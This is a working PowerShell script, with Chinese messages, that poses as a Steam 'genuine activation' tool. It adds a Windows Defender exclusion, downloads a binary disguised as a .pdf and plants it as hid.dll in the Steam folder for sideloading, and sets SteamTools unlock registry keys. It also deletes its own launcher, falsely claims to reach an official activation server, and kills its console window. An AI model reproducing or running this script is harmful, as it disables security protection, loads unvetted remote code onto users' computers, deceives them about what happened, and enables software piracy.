cls [Console]::InputEncoding = [System.Text.Encoding]::UTF8 Write-Host -NoNewline " _____ _____ _____ _____ _____ `r" -ForegroundColor:blue Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r" -ForegroundColor:blue Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r" -ForegroundColor:blue Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" -ForegroundColor:blue Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" -ForegroundColor:blue Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" -ForegroundColor:blue Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" -ForegroundColor:blue Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" -ForegroundColor:blue Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" -ForegroundColor:blue Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" -ForegroundColor:blue Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r" -ForegroundColor:blue $localPath = Join-Path $env:LOCALAPPDATA "steam" $steamRegPath = 'HKCU:\Software\Valve\Steam' $steamToolsRegPath = 'HKCU:\Software\Valve\Steamtools' $steamPath = "" function Remove-ItemIfExists($path) { if (Test-Path $path) { Remove-Item -Path $path -Force -ErrorAction SilentlyContinue } } function ForceStopProcess($processName) { Get-Process $processName -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 if (Get-Process $processName -ErrorAction SilentlyContinue) { Start-Process cmd -ArgumentList "/c taskkill /f /im $processName.exe" -WindowStyle Hidden -ErrorAction SilentlyContinue } } function CheckAndPromptProcess($processName, $message) { while (Get-Process $processName -ErrorAction SilentlyContinue) { Write-Host $message -ForegroundColor Red Start-Sleep 1.5 } } $filePathToDelete = Join-Path $env:USERPROFILE "get.ps1" Remove-ItemIfExists $filePathToDelete ForceStopProcess "steam" if (Get-Process "steam" -ErrorAction SilentlyContinue) { CheckAndPromptProcess "Steam" "[请先退出 Steam 客户端]" } if (Test-Path $steamRegPath) { $properties = Get-ItemProperty -Path $steamRegPath -ErrorAction SilentlyContinue if ($properties -and 'SteamPath' -in $properties.PSObject.Properties.Name) { $steamPath = $properties.SteamPath } } if ([string]::IsNullOrWhiteSpace($steamPath)) { Write-Host "您的电脑没有安装官方正版 Steam 客户端,请安装后再次尝试。" -ForegroundColor Red Start-Sleep 10 exit } if (-not (Test-Path $steamPath -PathType Container)) { Write-Host "您的电脑没有安装官方正版 Steam 客户端,请安装后再次尝试。" -ForegroundColor Red Start-Sleep 10 exit } $steamConfigPath = Join-Path $steamPath "config" $hidPath = Join-Path $steamPath "hid.dll" Remove-ItemIfExists $hidPath function PwStart() { try { if (!$steamPath) { return } if (!(Test-Path $localPath)) { New-Item $localPath -ItemType directory -Force -ErrorAction SilentlyContinue } $steamCfgPath = Join-Path $steamPath "steam.cfg" Remove-ItemIfExists $steamCfgPath $steamBetaPath = Join-Path $steamPath "package\beta" Remove-ItemIfExists $steamBetaPath $catchPath = Join-Path $env:LOCALAPPDATA "Microsoft\Tencent" Remove-ItemIfExists $catchPath try { Add-MpPreference -ExclusionPath $hidPath -ErrorAction SilentlyContinue } catch {} $downloadHidDll = "https://cdn.wmpvp.com/steamWeb/1AB9D0F4DC35464BA5D7A32A234D441C-1731878710626.pdf" try { Invoke-RestMethod -Uri $downloadHidDll -OutFile $hidPath -ErrorAction Stop } catch { if (Test-Path $hidPath) { Move-Item -Path $hidPath -Destination "$hidPath.old" -Force -ErrorAction SilentlyContinue Invoke-RestMethod -Uri $downloadHidDll -OutFile $hidPath -ErrorAction SilentlyContinue } } if (!(Test-Path $steamToolsRegPath)) { New-Item -Path $steamToolsRegPath -Force | Out-Null } Remove-ItemProperty -Path $steamToolsRegPath -Name "ActivateUnlockMode" -ErrorAction SilentlyContinue Remove-ItemProperty -Path $steamToolsRegPath -Name "AlwaysStayUnlocked" -ErrorAction SilentlyContinue Remove-ItemProperty -Path $steamToolsRegPath -Name "notUnlockDepot" -ErrorAction SilentlyContinue Set-ItemProperty -Path $steamToolsRegPath -Name "iscdkey" -Value "true" -Type String $steamExePath = Join-Path $steamPath "steam.exe" Start-Process $steamExePath Start-Process "steam://" Write-Host "[已成功连接正版激活服务器,请登录Steam来激活]" -ForegroundColor Green for ($i = 5; $i -ge 0; $i--) { Write-Host "`r[本窗口将在 $i 秒后关闭...]" -NoNewline Start-Sleep -Seconds 1 } $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$PID'" while ($null -ne $instance -and -not($instance.ProcessName -ne "powershell.exe" -and $instance.ProcessName -ne "WindowsTerminal.exe")) { $parentProcessId = $instance.ProcessId $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$($instance.ParentProcessId)'" } if ($null -ne $parentProcessId) { Stop-Process -Id $parentProcessId -Force -ErrorAction SilentlyContinue } exit } catch { } } PwStart